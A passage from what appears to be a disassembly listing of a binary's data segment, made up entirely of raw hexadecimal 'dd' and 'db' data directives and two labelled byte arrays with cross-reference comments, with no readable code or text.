		dd 0DD8C441Ch, 10789187h, 64E230AFh, 1C312B22h,	87605044h
		dd 9A103C91h, 2428E234h, 880C3CE4h, 5B174F02h, 0BFD8E765h
		dd 804B48F4h, 0DC58C088h, 1085844Bh, 0D621C411h, 8054ACE4h
		dd 94881042h, 7CF2B390h, 643CE024h, 1080888Ah, 41124C51h
		dd 0D234441Eh, 51189187h, 78100A80h, 92804A48h,	2190303Dh
		dd 24C4F2E7h, 8AA83CF7h, 51108088h, 1E39128Ch, 90447045h
		dd 89541028h, 38220FB3h, 101490A2h, 87DD1C44h, 904445B8h
		dd 0B8E41028h, 992BE036h, 49C8E2D0h, 0AC19E06Fh, 220F6021h
		dd 14A0A290h, 0E4744410h, 85C9187h, 59B920FDh, 211C1144h
		dd 432C220Eh, 8814C84Ah, 0C273230Ch, 3C2A0448h,	0F5789E4h
		dd 8343CC22h, 0B890B4C8h, 682E9CF2h, 11807124h,	220E2AAAh
		dd 2BA72164h, 0E321F1CFh, 0F3482CE4h, 0FF121079h, 47F4201Eh
		dd 0C42F7821h, 79BE48D8h, 30EF11BCh, 21A0220Eh,	84C4310Dh
		dd 38330C44h, 0F888968h, 9E434C22h, 0BA9030C8h,	3D2214F2h
		dd 0F8201C37h, 0C88A4346h, 4280ABE0h, 233C46C8h, 98C246B0h
		dd 80233C46h, 4668C246h, 4650233Ch, 3C4638C2h, 0C2462023h
		dd 233C4604h, 0CCC245E8h, 0B0233C45h, 4594C245h, 4578233Ch
		dd 3C455CC2h, 0C2454023h, 233C4524h, 0ECC24508h, 0D0233C44h
		dd 44B4C244h, 4498233Ch, 3C447CC2h, 41217066h, 44108C03h
		dd 4C292958h, 21CDA0E1h, 85E3CBFCh, 75082891h, 1059E42Ch
		dd 4AC25611h, 43F81020h, 0E2AFC508h, 2188E059h,	0C871492Bh
		dd 4AFF1511h, 21B03140h, 404A3F4Dh, 3293C04Bh, 5312204Bh
		dd 99133050h, 0F07988A8h, 54613868h, 312B79BEh,	0C846BD18h
		dd 3BD55B32h, 18332930h, 211B34D9h, 4E32F933h, 0F948D078h
		dd 5F44309Fh, 0BC585F53h, 784C419Ch, 1B5FCA4Eh,	9D926B75h
		dd 3E65890Eh, 617027BEh, 34A1347Ah, 6FD4FB1Ch, 31E48D7Ch
		dd 0C28D736Fh, 91373931h, 8D37BC38h, 236F36E4h,	1B347935h
		dd 0E47BA3DEh, 0EE8D716Fh, 0A739B871h, 3F386418h, 36F93721h
		dd 7E35C80Fh, 98F73443h, 0C80FF77Eh, 36F35431h,	0DE98F77Ch
		dd 63DE1BF3h, 796FCC7Bh, 0BD31EF8Dh, 0C6BC37E6h, 0F3DE98F7h
		dd 7B63DE1Bh, 8D796FCCh, 0E6BD31EFh, 0F7C3BC1Fh, 0FF37E98h
		dd 0CCFB61DEh, 0EF87793Fh, 17E6FD30h, 0D7707889h, 31310B2Ch
		dd 0A98046D4h, 34231C0Eh, 0DC1B3379h, 6F9C7B63h, 92733023h
		dd 38913739h, 0E48D37BCh, 35236F36h, 0C81B3479h, 3246DE33h
		dd 46DE38F7h, 9D39E230h, 0FC389018h, 36E48737h,	0F935213Fh
		dd 33C80F34h, 0F532437Eh, 0B4E401E9h, 0E0B547BBh, 14414634h
		dd 0F4323354h, 0CE6C64E7h, 9C144775h, 2F9C7B61h, 92733021h
		dd 38901739h, 0E48537BCh, 35212F36h, 0C80B3479h, 32425E33h
		dd 855E38F7h, 839E7C8h,	1438525Ch, 901737B2h, 8535BC36h
		dd 212F34E4h, 0B327933h, 5842A3DCh, 6149DA50h, 4E452C2Bh
		dd 0D2184B47h, 4E8F005Dh, 5449274Ch, 0D99B46C7h, 340072DAh
		dd 6BFFD098h, 0BCA1123Eh, 46330036h, 347EF8C3h,	5C14A15Ah
		dd 0E87325C4h, 60709770h, 6B7977F2h, 635776F4h,	8C266F14h
		dd 0A62E1924h, 43188210h, 0B0CF5F35h, 793C62ABh, 26874F65h
		dd 7293FF1Eh, 47BB7D13h, 30A2EA0h, 0F4405551h, 32003424h
		dd 61432035h, 9F74276Eh, 0F29DD2E6h, 0E0F29D4Eh, 9BA32FF5h
		dd 7245268h, 114F5202h,	0DC444554h, 0CFE3BB20h,	2CB80264h
		dd 726FD8C0h, 0A44AB774h, 6512A3DDh, 75582878h,	8A35DB56h
		dd 0BB72863Fh, 0E2DD7F6Dh, 68636146h, 0A62EF82Ah, 97367F88h
		dd 661F2079h, 6DBB62FBh, 0D7CB5D70h, 3F49B748h,	0ED4FB430h
		dd 49423C00h, 6852414Eh, 14AE6C59h, 0CA98565h, 45395284h
		dd 4DD4D354h, 4F501F3Fh, 0AF48D1BEh, 3DC5F0C6h,	0B94B7573h
		dd 0A9663B9Ah, 62A7AD6Ch, 34033302h, 4A047818h,	3F992A14h
		dd 2C5E5B87h, 0D6062A5Dh, 47E10A7Ch, 0D4B00A58h, 494C93C2h
		dd 8D344553h, 3BE86150h, 0E23BFEB1h, 708340E4h,	0A93E1191h
		dd 0D13FFF64h, 0A6977FF6h, 8BCE38FDh, 14047C7Ch, 0BAA4B856h
		dd 5F371796h, 45D8F274h, 1895D2AEh, 88744191h, 502A5954h
		dd 35073845h, 2F222037h, 63AB992Eh, 51F0F32Eh, 96F72E1Fh
		dd 500EF142h, 33094457h, 85524824h, 0CC15FE04h,	0CA30D4DDh
		dd 65CACC53h, 7A4E2000h, 1446786Dh, 19647074h, 18595314h
		dd 556833CCh, 2EFDA7AAh, 24BA35A3h, 0B0E8EC69h,	3338C2B8h
		dd 9BE431A9h, 3A63D077h, 407571E0h, 955541EBh, 5FA2096Ch
		dd 2C6A4E7Ch, 0DE603015h, 6E77997Dh, 82DA6A2Eh,	7E627249h
		dd 74687898h, 52FC3FD7h, 6E2A49F9h, 0DC422DAh, 4B32AF0Ah
		dd 0BD006347h, 0AAAC75BFh, 0DFF55EC4h, 0CA4B3D24h, 0B041533Eh
		dd 42796D60h, 1EC98B90h, 0EE77AF43h, 891FD22Dh,	0E6CBE32h
		dd 63287EFEh, 132C6412h, 12349673h, 787A3590h, 3DF241E7h
		dd 70589F30h, 851E12F6h, 157C3425h, 917F6338h, 0BA562D92h
		dd 4CC61268h, 0DB67480Ah, 9692964h, 7072A641h, 61522026h
		dd 264C76A3h, 55446C5Fh, 0A8DEFF44h, 47060334h,	9D22544Dh
		dd 2D790452h, 6939D198h, 0FD15166h, 23F84B1Ah, 9EF64F55h
		dd 0F0434C14h, 3AEF2EB6h, 0E36AF9A5h, 0AAF04719h, 71FBDC46h
		dd 0CFC461FFh, 64ACCCF5h, 6EFE02D4h, 24D6D08h, 81779DDh
		dd 0FC25B3ACh, 2F716CE2h, 657E9EE7h, 0B6C5D36Ah, 1C196D61h
		dd 2FFD781Ch, 6CF15731h, 0E4686FC2h, 325ACD46h,	0DE214C5Bh
		dd 6B89D166h, 3E39FD65h, 4A62B2Ch, 294C2BE4h, 0FFCF3C57h
		dd 0BE296653h, 0E22A1109h, 7A444197h, 8C65B656h, 60588CDh
		dd 5F4693D2h, 26055962h, 94951169h, 0BF621C51h,	0BB7F1B69h
		dd 746BD766h, 0C33CC5F5h, 146B3EEBh, 5357E0Ch, 80534C4Fh
		dd 223D4E92h, 3E1B3372h, 0A32C483Ch, 1B2A412Fh,	52293DEh
		dd 4C42410Eh, 50A5E45h,	5259444Fh, 4D310709h, 40489A4Ch
		dd 56495250h, 474853FAh, 7C3A8A87h, 7B3915B4h, 65C534F6h
		dd 0F5862D25h, 0DA30DD28h, 42570F32h, 29FEB14Ah, 7A644D54h
		dd 49579547h, 93488AAFh
		db 20h,	0EDh, 8Ah
byte_756E67	db 94h			; DATA XREF: seg001:off_42D774o
		dd 8094A10Fh, 143C926Dh, 4B252F09h, 47C59087h, 67CAC359h
		dd 331C5321h, 346B5664h, 299CD3D1h, 0F7415954h,	51180A87h
		dd 73B9702Eh, 2B8B2658h, 0EC481F3Bh, 0F7C83EDAh, 14E10A1Ch
		dd 0DEA11C39h, 2D94D5D8h, 0C00FF9D6h, 0BA2F7315h, 32D838B4h
		dd 1F463943h, 0A9443792h, 0A78D14B6h, 15A6411Fh, 1A46450Dh
		dd 0BC94005Bh, 249B2ADAh, 0CA1432BBh, 0CF062F64h, 35204E34h
		dd 63A2A0Bh, 410D73DCh,	9BF914Dh, 5A849BF1h, 5C427133h
		dd 615084B9h, 857A95B2h, 5EABF21h, 0D3BBB054h, 67159258h
		dd 3287ABF7h, 5BEC476Fh, 0D1049A84h, 34B94E6Fh,	35A4AD57h
		dd 20B78827h, 56DD2B85h, 0ADEE529Dh, 1EB248E0h,	16495631h
		dd 24961655h, 0A2398917h, 0A1995520h, 9D0D2016h, 39CF6852h
		dd 2D54309Ch, 0B1A4B33Ch, 48414510h, 0A3E5497Bh, 274D3F4Ch
		dd 2546DA37h, 7DD2E24Dh, 97544EECh, 3AA67A34h, 520A1372h
		dd 4AC8C765h, 93D4AD1Dh, 6693E552h, 570B50Ah, 0CC6B042Eh
		dd 89B7812h, 5F667410h,	654F569Fh, 1955C41Ch, 681F2E6Ah
		dd 7915B786h, 648133A2h, 3C2C021Fh, 3A994059h, 290A86B1h
		dd 0B2FC582Eh, 64519E9Bh, 2929A666h, 9C483873h,	22200195h
		dd 1A09F34Eh, 0F262B3A4h, 4A8D8B67h, 2397156Dh,	3F51DA94h
		dd 6820644Bh, 48991D66h, 0F1AF55CCh, 0D8947E03h, 8701144Eh
		dd 0E1083177h, 0C4534B57h, 5F284356h, 4AE1AC45h, 58BDCB01h
		dd 414312ADh, 0E675AC40h, 0C9324779h, 0FEC9084Fh, 8DD13C21h
		dd 0E5219C0Ah, 4301B34Dh, 3AC4E178h, 0B461291Eh, 6E5B8769h
		dd 626D65CEh, 48103C6Bh, 406E42Fh, 0E768736Dh, 43753C4Eh
		dd 848BB374h, 1E612B2Eh, 4E43B0A0h, 7C7861F4h, 6E421E24h
		dd 300E8290h, 3C753436h, 354748B8h, 0EE0191h, 4A5A10EBh
		dd 7266C933h, 800100B9h, 0E2990A34h, 539EBFAh, 7BFFA0E8h
		dd 0FC987D70h, 952103C3h, 12E66469h, 85E921DFh,	91D9D834h
		dd 0EAF641F2h, 6A9AA51Fh, 0BE1EF8Ch, 7FB97AE7h,	8DD70162h
		dd 0CECF74AAh, 80A6F5C8h, 97F36B19h, 3A3F6AC0h,	0C68091EDh
		dd 0DC9D5E1Ah, 10C3707Bh, 905412C7h, 1D9ABDDFh,	378485Ah
		dd 0FF50AA58h, 85FC82F6h, 36FF1CDEh, 0DFA81E9Bh, 83639D12h
		dd 975F1A6Eh, 0F0F349D9h, 0E56E71C0h, 941A58DCh, 66CF06CBh
		dd 0D2C365CEh, 269DF332h, 3C926F0h, 9BFC98F8h, 2A692CCCh
		dd 739E785Eh, 0AA240099h, 9DDE1059h, 0CE3389F3h, 666D28CAh
		dd 46610D36h, 1A650DC0h, 1812DD75h, 3442AA6Dh, 850E10C0h
		dd 0A6627B17h, 4006A1DFh, 5E79D9A5h, 0CC98B52Ah, 89DE1403h
		dd 6ECACFC9h, 5ECF6702h, 0F4FAA581h, 0D027BBFDh, 0FEA37D3Ah
		dd 0AC1C71A3h, 0ECC51C35h, 8118C860h, 8C34B24h,	777B32C0h
		dd 62715A03h, 0DEE0EF67h, 7C9EDFCh, 0D8FAF6EBh,	9CDE1EFDh
		dd 0DA994CEAh, 0ED79F80Ch, 1D3F12A3h, 0E1DC8FD8h, 0DF0DD4F0h
		dd 0F8CED51Dh, 0FBDF9FFDh, 0E06072BBh, 0ABEAEE32h, 0EFAA73C6h
		dd 59BEA747h, 88B0F23Ch, 0F7F0FB24h, 0ADF5E8CEh, 0E1E37CEAh
		dd 649EFAF8h, 925F7FE9h, 3CE05470h, 0A7B46C61h,	0C5A6FFA6h
		dd 11020FEDh, 2FD0CF2Ch, 63ABCFAFh, 0D4BE4289h,	6FFC787Fh
		dd 53BDC1BFh, 66F78CBAh, 76630673h, 53E6348Fh, 0BBD4B125h
		dd 8A2EECDAh, 1257682Eh, 4BE9A643h, 8F96FCE9h, 93A3B5E0h
		dd 46D92A5Ah, 54E3F544h, 0D56C557Dh, 6F8E332Bh,	497D37B5h
		dd 0DC651B29h, 5C5612A0h, 0F7519690h, 4046AF8Eh, 7B8A76B4h
		dd 5050B995h, 0A24D2325h, 0CC7CB8AEh, 0F29F5214h, 7548D7D6h
		dd 0B5C0CB89h, 44461F7Bh, 9B956EF4h, 365AD38h, 6BD5F02Ah
		dd 0A4562C8Ah, 0C9926F9Dh, 0ED2C226Dh, 6B48A74Fh, 618B8BD7h
		dd 2D627523h, 7EF49B7Ch, 6ECC404Ch, 0E268F6CAh,	5421DFA4h
		dd 0C101235h, 339342F9h, 4B75366Dh, 5ED9FC16h, 9175F626h
		dd 0A02E1427h, 7F3B5FAFh, 0BF94CD1h, 940BADE8h,	0E2C7B85Bh
		dd 95EC7F63h, 0FB74A882h, 4BD3DCC8h, 1A75CDB8h,	0B3DD4248h
		dd 0B8944D63h, 0E45C8A4Ah, 4329503Bh, 0FB452740h, 4A117EA5h
		dd 7154DAE4h, 72A88D5Eh, 0AC856114h, 0AABED1DEh, 4F540AFDh
		dd 0A96C175Fh, 526D265Dh, 8C4A4035h, 5A4CA175h,	155A8895h
		dd 5645AC54h, 2E574C86h, 49A6B538h, 9691DF43h, 0B84E0BD0h
		dd 3AEAD2BEh, 0E9544358h, 9D96DC68h, 0A5501AACh, 52DF95EEh
		dd 5AACF631h, 0C5EBEC64h, 0D20AA8A2h, 69174BBBh, 212FCFC6h
		dd 533C383Dh, 444C2E51h, 0A1CC236Dh, 0EE461A10h, 8ACC4ED5h
		dd 8CC47F10h, 21CB118Ch, 94695845h, 0A730238Bh,	556BC7F4h
		dd 6D504CA8h, 436252CCh, 0AC8553BBh, 0DB9F79FAh, 485382CEh
		dd 0D4766843h, 693F01AFh, 21A07966h, 522ED0B1h,	0D24FD759h
		dd 10887370h, 4E57632Dh, 14C3B45Ah, 2C245F63h, 57703226h
		dd 414418A7h, 1A647767h, 14157A2Dh, 706D5230h, 0D560AA72h
		dd 497ED846h, 79C147D0h, 9AF4D9B7h, 11211847h, 23626154h
		dd 0BC693E00h, 0D7F97368h, 8C9CFFBCh, 736E2744h, 0F849FFFCh
		dd 0A46F78E8h, 0C1A89DE7h, 415F8A3Eh, 31C87E20h, 0B5462364h
		dd 2DDDABBEh, 4E41E33Fh, 786805F9h, 0B4AAD18h, 16F88312h
		dd 0BCC5108Eh, 0C646D75h, 0D118B351h, 580C45D7h, 4F2954DFh
		dd 419A4444h, 0D55812D0h, 1489F446h, 0AB865553h, 6F4AB6D0h
		dd 146FD062h, 426889D4h, 6D10A15Dh, 30C1DC3h, 18456E2Ah
		dd 8CE23FB8h, 8F549C9h,	4546B03Eh, 106F56A2h, 0F4BEEC5Ah
		dd 29AF1056h, 214056BEh, 4D1B3C8Ch, 0D8287A6Fh,	0B5342F61h
		dd 0AD284704h, 54A7499Dh, 48A92966h, 72649A6Eh,	864C1EDBh
		dd 24D9B514h, 0AC5B2868h, 556B5981h, 0A5416CE8h, 0C4CAAD14h
		dd 141E131Ah, 9242487h,	489F24E8h, 4ECCD3BFh, 14743264h
		dd 0E4143410h, 0BA473C62h, 4A4C8B3Fh, 783D857Ch, 71641C6Ah
		dd 0A1D7B177h, 64A5FF37h, 38DA9BDCh, 0C46D2C5Dh, 2C102F6Dh
		dd 3468370Ch, 8E796242h, 405036E3h, 1E51A410h, 902CD110h
		dd 0E60C4542h, 6931C232h, 266B6162h, 38B4102Ch,	0D5391B6Eh
		dd 4D627A8Ch, 49935869h, 394A76ABh, 8050C32h, 1AF85673h
		dd 7C4E1171h, 0C4ECC783h, 730832E9h, 477BB02Fh,	810416Ch
		dd 0A4AE5FC9h, 537F0C8Bh, 3A2819D6h, 0A95FD69h,	7D0E06Ch
		dd 537C04D3h, 12CF8541h, 70620ABCh, 8F7EAD0Ch, 20CE5FD2h
		dd 0C75F7C81h, 44461D07h, 71697349h, 0FF1DB783h, 63010F92h
		dd 21DBC8F5h, 0E9535DDDh, 7C5E2D0Ch, 7396606Ah,	36AC2DEBh
		dd 5FE85ACCh, 10D07459h, 0C43949Dh, 0B969421Eh,	502DD0FEh
		dd 59A42490h
		db 91h
byte_757575	db 0EAh, 42h, 21h	; DATA XREF: seg001:0042CB34o
		dd 729B42B7h, 1422EFC5h, 264F71BDh, 0F87014B9h,	0D9CC6792h
		dd 0A4D1AD96h, 0D7779A14h, 14237AE5h, 8531CCBBh, 318E6467h
		dd 0CBAC472Ch, 4B4CB25Dh, 7D56EA4Ch, 7527F16Bh,	79E98675h
		dd 0F734FD8h, 0BE3770F1h, 8CC96C24h, 0FD659F29h, 6CDAF73h
		dd 681066A6h, 84BA6B15h, 151BDC32h, 7699F95Bh, 214D111Dh
		dd 75040E0Dh, 0F0BD089h, 431A1042h, 82C99C4Dh, 0E825A672h
		dd 0C0D66A1Ah, 0C96B6FF2h, 0BC42502Eh, 30426A6Bh, 6F4C1AFCh
		dd 13688826h, 57BFB9E8h, 89ED5A50h, 54403591h, 0AB42D052h
		dd 1110AED3h, 43A3460Ch, 77216B32h, 0F2B1112h, 30F1085Fh
		dd 12A1EE6Ah, 4359814Dh, 502283B4h, 0E436734h, 6417E449h
		dd 0A8886D76h, 0B2BF3E2Ch, 84866BCCh, 0AA82899h, 97624C4Bh
		dd 34647212h, 0BC0E7578h, 0F8A57636h, 166E2321h, 259264BEh
		dd 759C3447h, 0AAC9BA0Bh, 0FCAC0E09h, 16754B24h, 0D402D2DEh
		dd 148A2949h, 7276C8A8h, 7CAD6093h, 0EDDD52A0h,	6E386D02h
		dd 0F8F438F3h, 34EAD644h, 0C9C0527Fh, 0D5A66B48h, 8F421041h
		dd 8A19F267h, 7C65D717h, 81812820h, 28BFB56Bh, 351785EEh
		dd 0A1CDBA4Dh, 89BBA205h, 9579A36Ah, 84BB22B5h,	0D103D8Bh
		dd 44795921h, 0B04384CBh, 5380707Dh, 0F7FC9A6Eh, 0F924C6FEh
		dd 0A6B1CD04h, 6B6520A9h, 916CEEC8h, 90C5C988h,	654A6399h
		dd 8EADB73Fh, 0B0B63E4Ch, 6C4595C4h, 0C9C84AAh,	499F7152h
		dd 0D04BDCCBh, 191AF82Dh, 704D0361h, 0C91A4B72h, 239CC749h
		dd 8862C935h, 4E921A17h, 3447D0CEh, 2EBC9492h, 16572518h
		dd 659C85C8h, 2E84D457h, 0D3473C4Eh, 0D241A365h, 0AC80B576h
		dd 0D9E9A129h, 0D174234Bh, 7365E734h, 146B46B7h, 6D17264Eh
		dd 0F8325249h, 0AD287465h, 0BD2E7241h, 94CCC912h, 74751366h
		dd 0E739D353h, 9DC980B8h, 3B647326h, 2F201263h,	4F5639DFh
		dd 0D54009EEh, 0C4665E19h, 3A6D0A0Dh, 21214086h, 1AFE12A5h
		dd 31502299h, 69161ED3h, 94AAB466h, 0C31027F9h,	5AD66F67h
		dd 731C278Dh, 17C59CEAh, 88EF622Eh, 789F63E8h, 870B864Dh
		dd 0A45145Ch, 473C523Bh, 54494401h, 31253E34h, 51824723h
		dd 942E315Ch, 9E1C6796h, 0AD153E94h, 3C5B5A20h,	59814B48h
		dd 434F4C5Fh, 4DB3D341h, 49C76FA7h, 0AE5CF44Eh,	0F7BE525Dh
		dd 0E5B5329Dh, 5C253D14h, 91CC533Bh, 0FE5442FCh, 8D2E29F4h
		dd 738A7026h, 4A5E5D5Dh, 4A73F222h, 0EA42B292h,	22B9E800h
		dd 3ECDE53Dh, 3CA99D5Ah, 41648572h, 9990BFB8h, 40D872FDh
		dd 0E895648Dh, 0A4303A0Ch, 99345601h, 75770BABh, 0EDF19361h
		dd 2DF4957Ah, 31A6948Eh, 0DD3EF791h, 8FA7797Dh,	6F8E877Ch
		dd 575446C3h, 125F52E3h, 0A5A738ACh, 3F3C844Fh,	6E277680h
		dd 4F269061h, 7F369A4Dh, 0CB25AD4Eh, 36B4B866h,	0A57E2EC8h
		dd 0B8674CCh, 73294CF0h, 0DCFBB761h, 0DF050BE5h, 566E3D0Ch
		dd 8A97A279h, 31F943F1h, 3DA99B5Ah, 9C85D211h, 2D64E60Bh
		dd 748C249Dh, 4C764E41h, 5E27ACF3h, 7A48631Bh, 54433326h
		dd 0B8BC30D4h, 0EC81D5C3h, 0EDC0A364h, 0BE53A1C4h, 0E9B71F6Ah
		dd 0C5623309h, 0AB6F265Eh, 495C9570h, 63EDA258h, 6B5712EAh
		dd 0AF77632Ah, 0C8F66832h, 0E0215735h, 67549D7Dh, 35B9E658h
		dd 8528B856h, 0F7CCBEA2h, 0B9A146FCh, 64908D77h, 0AADBC642h
		dd 0A50AF863h, 5049F802h, 2ABE30B3h, 34858175h,	40D244D1h
		dd 0AD6E6995h, 6BE6C98Bh, 0C2114C4Bh, 8F2CA924h, 0DC424742h
		dd 1915145Eh, 0EE29752Fh, 14491A97h, 43490487h,	0F952504Dh
		dd 0BFB990B8h, 47EC814Ah, 740C9B57h, 660C3E65h,	42A5B8DEh
		dd 9244E871h, 0B18895BCh, 0A1476534h, 796C42D1h, 0D73B429Dh
		dd 89CAA4B3h, 0CA1EFC5Bh, 275D7D73h, 55772348h,	56716E2Fh
		dd 0D35925BAh, 17E2122Dh, 8BC34976h, 869FE1B6h,	0F5F452FBh
		dd 75D0AD78h, 435404BAh, 81AA3150h, 32704F46h, 1F33B249h
		dd 28FE4B1Eh, 55B6AA70h, 0D26D3DBAh, 8C32CC33h,	0E49EA738h
		dd 0DA8C942h, 6F3403CEh, 344B9ECCh, 376BA232h, 3B913748h
		dd 2FE0245Bh, 2FA293D4h, 82B46B42h, 0A29F3616h,	750D7AA5h
		dd 0A3A7982Fh, 694DB282h, 0EAEB756Ah, 0A98E7E4Ch, 57D37C12h
		dd 909A85A2h, 3149351Eh, 1E53ACB2h, 52416E79h, 8B96946Bh
		dd 7C3288D6h, 0B2C9EDBCh, 4B707CC2h, 0CF792924h, 4D50A097h
		dd 42551654h, 3A185348h, 2B46C94Ah, 46BAE283h, 0BE675D51h
		dd 5E59E95Eh, 646CD602h, 46409E20h, 4AE1A434h, 0AFAF7AACh
		dd 0DCC9FD7Ch, 0D23C6879h, 9A382585h, 783493C6h, 5599D297h
		dd 3B879B6Eh, 3B7AEDB7h, 54BA82DEh, 5D37E880h, 4D19C52Bh
		dd 853B6975h, 2C27DEADh, 9DFE7D32h, 73EAC3C3h, 49F9CB45h
		dd 1A2570F1h, 30220021h, 0F668F3A4h, 0D46EF465h, 0C44FC14Ah
		dd 3E89BC15h, 0D715494Fh, 5492FD2Fh, 8595FF2Dh,	0A809D4D2h
		dd 3A2F4BF8h, 0B0953496h, 6177529Ah, 736858BCh,	0DD6DB577h
		dd 0B4380B0Ch, 693DB4EDh, 0B01D42A4h, 724767F2h, 3012FAD2h
		dd 0CF6208F1h, 9B6D84A5h, 55BF97B0h, 2DD22038h,	0F9AE22AFh
		dd 96D2CA33h, 7068F0D6h, 61F9B7FAh, 614D820Fh, 42D15578h
		dd 0BF8122Fh, 5C92DDC1h, 3245B3C7h, 0BB42403Fh,	35463E46h
		dd 3543B090h, 0EB4FA2h,	43EBB0C4h, 47B848FBh, 0BA1F79D2h
		dd 435E6BA4h, 0F08DE531h, 32CEEE1Eh, 0ACAD3AF5h, 0CE7CF46Ch
		dd 0B6F23802h, 0DE53E414h, 6BD07AE8h, 4E4409BAh, 0A43A6753h
		dd 0D020167Eh, 29372894h, 31333A0Dh, 30D6E2Ch, 0C0E0F21h
		dd 387934C8h, 3F877F0Fh, 0FD8259C2h, 729F4B3Ah,	541C10D9h
		dd 0BE7C4C57h, 0F201B334h, 16BE568Eh, 8B7B2963h, 616E4906h
		dd 0C23F6620h, 49C7740Ah, 0ED9794FBh, 92C848AAh, 7C5E71D2h
		dd 6470551Ah, 4699715Eh, 6C299F4Ch, 77D68220h, 9631B86Ah
		dd 1FD9498Bh, 0A6747121h, 70491BB7h, 1E58EC4Dh,	4E3AEB6Fh
		dd 0DF056651h, 0ED41F2A8h, 0D244E760h, 0A3408544h, 0FB3CBD2Dh
		dd 0BD1BB3F4h, 244B7E32h, 0D0B0FC5Ah, 0B64CBA73h, 0F4631E9Ah
		dd 854F62EAh, 0D33B371Fh, 7A48F331h, 2912B7D2h,	38673865h
		dd 534A7E68h, 0A1C50D13h, 84D7E92Fh, 0CAD2F16Ch, 1263CD1Dh
		dd 0F5894498h, 641D91C2h, 7662834Bh, 0B8245F53h, 0A8CA9079h
		dd 0A7387235h, 946AE938h, 66C93835h, 0A8338DC8h, 0BC325969h
		dd 0B3B032FDh, 69EBC33h, 6C169E94h, 79E2B166h, 6234E1A0h
		dd 12E5344Ah, 0DEFEB112h, 3595AE6Fh, 0D362A96Fh, 0D9FC642Fh
		dd 0D3E00EA5h, 0DFE61F8Bh, 6D4C4E64h, 0E37FA5D9h, 0D03942EBh
		dd 2C967BDCh, 4A46717Eh, 0EB99D950h, 0E767DA24h, 0C96BB45Fh
		dd 73642A18h, 5AB2C5D5h, 75D18457h, 0A9AE14ADh,	5ACDD3AFh
		dd 3187B10Ah, 3766B239h, 57C55CCFh, 0AAE45E8Eh,	726901A3h
		dd 65EB2F35h, 5A9FAD21h, 90E73192h, 0D2E13FB4h,	43A05FE7h
		dd 0DCE35255h, 6FF1544Eh, 0A45CA0D3h, 0C5642CF8h, 0E53AF865h
		dd 0E792B4BDh, 24FC5F72h, 4753E5DFh, 853208Dh, 733DD16Fh
		dd 0B45B265Dh, 73CB2CABh, 310457BEh, 19E8305Fh,	4BEF35BCh
		dd 3D3AB440h, 3BADF790h, 0C17A4AF1h, 0D9572F00h, 0C3D6E649h
		dd 0F7531CECh, 440A255Ah, 5C124C45h, 0DE06C2B7h, 2B66793Ch
		dd 6E6433D1h, 2FCF9E2Eh, 42D45B4Eh, 553A7962h, 2E709952h
		dd 555140A5h, 0D32FA92Eh, 7659F487h, 1FB4C815h,	76F9ED50h
		dd 0FD402E15h, 44EF2B1Dh, 5274C3EFh, 7BA93479h,	937F41E3h
		dd 4B4221C6h, 1AB09777h
		dd 1F754370h, 807C2FF8h, 0F90B5E53h, 60E24E7Eh,	5E3C2AA4h
		dd 3DE4B9F9h, 0A380A39h, 73706475h, 0F3F1BDFCh,	8DFC3C68h
		dd 874CB73h, 0FC0DA2DBh, 3E6D7928h, 1F5BF69Eh, 0EC64936Ch
		dd 9DEA929Ch, 0E88C2F49h, 880AD770h, 2D982EB7h,	50C5408Dh
		dd 1DFA2735h, 0BAD5655Ch, 2423F46Dh, 0F7784863h, 406F82B4h
		dd 0C4EAF74Bh, 3EEA4F49h, 0B44446E6h, 439B62BEh, 2F45B2FDh
		dd 0D9702BCBh, 0BD2A2024h, 0B284B72Dh, 2768082Ch, 0FC5B046Dh
		dd 4E4903AEh, 7B5D4F46h, 504319B4h, 0FC250F55h,	75063436h
		dd 2E7A484Dh, 6ED8B722h, 4B731180h, 1924255h, 482C6C90h
		dd 8994660Ch, 24FD3D35h, 1D0A1F45h, 4F1A1B46h, 3BFF3353h
		dd 282F2717h, 44312DD9h, 0DF447542h, 49297C0Ch,	9D74B053h
		dd 0B241C588h, 315D481Dh, 8B6E5D91h, 0FC2A691Bh, 7150E92Dh
		dd 6ABD298Eh, 580C32AFh, 510C8E33h, 0E1DE455h, 0E974C97Ah
		dd 2202BF4Dh, 92F88279h, 724FF95h, 4137BF72h, 0D3DB6886h
		dd 0E950AB49h, 5F18DB6Dh, 33B0A402h, 580D27DCh,	4BF10850h
		dd 1454D01h, 4E013839h,	35119054h, 45BD5B3Ch, 0AAA42C48h
		dd 0E2AC4411h, 0DB96C249h, 0DAD3218Eh, 2F4E9410h, 4C734170h
		dd 3942C2EDh, 0BA2D2E84h, 6F936D1Eh, 35A788B8h,	558C2764h
		dd 3D510D2Eh, 5B2DC00Bh, 2B56099Fh, 5D8BE97Ch, 0F0F95BF7h
		dd 49F16445h, 0DF846F05h, 53A090Ah, 64060DE9h, 0B1D29826h
		dd 9577F22Ch, 9FE227D4h, 283CC24Ah, 0DE34278Dh,	1B5B6DAAh
		dd 6542852Ch, 2901CEFAh, 2900878h, 0A3F88004h, 0A4283142h
		dd 60240102h, 64A24850h, 0F44D08C2h, 86EEA6Eh, 63E4C2A4h
		dd 0C024EA74h, 0BA448D10h, 29EFB24Eh, 1D7A4172h, 6E764940h
		dd 741B646Dh, 0A62553CAh, 1E56CD98h, 73FC972Ch,	528B3EA9h
		dd 4868F34Fh, 0F51D9A29h, 548FD49Eh, 0E6BB55C4h, 0BEB490BAh
		dd 0CD4A6253h, 160103Dh, 8EE34344h, 0F44E452Ch,	6952737Ch
		dd 6C012403h, 0C1AF8AFCh, 0A2446FDAh, 35AA53D4h, 8F9C3AB2h
		dd 0E0643262h, 380BAB39h, 125D63A2h, 9F373A4Dh,	0DEF46968h
		dd 236ABD72h, 94515A54h, 0CDB9CAB9h, 46BEBC90h,	0EF668D34h
		dd 2D9FE27Ah, 0D596C277h, 2B615D18h, 0A8406252h, 68E29175h
		dd 48D23C39h, 0A1641D64h, 4AB41E7Ah, 0F82E80E1h, 0F6A14D8Eh
		dd 28259022h, 0D2F74C52h, 2B39F197h, 3C42D58Bh,	20342EADh
		dd 3A1A62AFh, 0E55590BAh, 2C51AF0Fh, 144C1DF2h,	65CB1644h
		dd 6631B890h, 1B424B27h, 9A40EAD3h, 4AE3FF0Fh, 247225CDh
		dd 5F507F1Dh, 12985E5Ah, 3563927Fh, 85B5EE84h, 0E886DAF7h
		dd 4339FE48h, 0A4994C52h, 0C93ED5A1h, 2229E9F5h, 0CE46BC50h
		dd 7A8B7367h, 0E582F744h, 492F95DEh, 444F3ABFh,	9D9464A5h
		dd 91A13BBCh, 68098A7Bh, 0BD758498h, 47461BD6h,	92042BA5h
